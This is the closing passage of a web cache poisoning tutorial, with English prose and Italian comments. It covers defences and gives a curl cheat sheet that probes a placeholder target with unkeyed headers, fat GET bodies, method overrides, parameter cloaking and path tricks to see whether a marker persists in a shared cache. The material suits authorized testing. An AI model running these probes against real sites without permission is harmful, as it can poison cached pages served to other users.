It's a GET request containing a body. Some backends process the body, while the cache creates the key using only the URL and headers. If the body modifies a cacheable response without being represented in the key, it can become a vector for spoofing.
How can you prevent Web Cache Poisoning? #
You should only store truly shareable responses, remove proxy headers provided by clients, align cache keys and origin behavior, use correctly Cache-Control e Vary, avoid bodies in cacheable GETs and apply the same normalization across CDNs, WAFs, proxies and backends.
Cheat sheet #
URL="https://target.example/page"
BUSTER="cb-$(openssl rand -hex 6)"
CLEAN_BUSTER="cb-$(openssl rand -hex 6)"
MARKER="cache-test-$(openssl rand -hex 6).example"
# 1. Baseline
curl -sk \
-D /tmp/base.headers \
-o /tmp/base.body \
"$URL?$BUSTER"
# 2. Richiesta con X-Forwarded-Host
curl -sk \
-D /tmp/poison.headers \
-o /tmp/poison.body \
-H "X-Forwarded-Host: $MARKER" \
"$URL?$BUSTER"
# 3. Verifica riflessione
grep -Rni "$MARKER" \
/tmp/poison.headers \
/tmp/poison.body
# 4. Richiesta pulita sulla stessa cache key
curl -sk \
-D /tmp/victim.headers \
-o /tmp/victim.body \
"$URL?$BUSTER"
# 5. Conferma persistenza
grep -Rni "$MARKER" \
/tmp/victim.headers \
/tmp/victim.body
# 6. Controlla cache status
grep -Ei \
'^(age|x-cache|x-cache-hits|cf-cache-status|via|cache-control|vary):' \
/tmp/victim.headers
# 7. Chiave differente: deve essere pulita
curl -sk \
-D /tmp/control.headers \
-o /tmp/control.body \
"$URL?$CLEAN_BUSTER"
grep -Rni "$MARKER" \
/tmp/control.headers \
/tmp/control.body
# Protocol override
curl -sk -i \
-H "X-Forwarded-Proto: http" \
"$URL?$BUSTER"
# Port override
curl -sk -i \
-H "X-Forwarded-Port: 1337" \
"$URL?$BUSTER"
# Cookie non incluso
curl -sk \
-H "Cookie: language=it" \
"$URL?$BUSTER"
# Fat GET
curl -sk \
-X GET \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "language=cache-test" \
"$URL?$BUSTER"
# Method override
curl -sk \
-H "X-HTTP-Method-Override: POST" \
"$URL?$BUSTER"
# Parameter cloaking
curl -sk \
--path-as-is \
"$URL?utm_content=abc;callback=cache-test"
# Normalized path
curl -sk -i \
--path-as-is \
"https://target.example/./page?$BUSTER"
# Cleanup locale
rm -f /tmp/*.headers /tmp/*.bodyOnly perform these tests on applications you own or have explicit permission to run. Use an isolated endpoint, a benign marker, and an agreed-upon purge procedure before testing a shared cache.








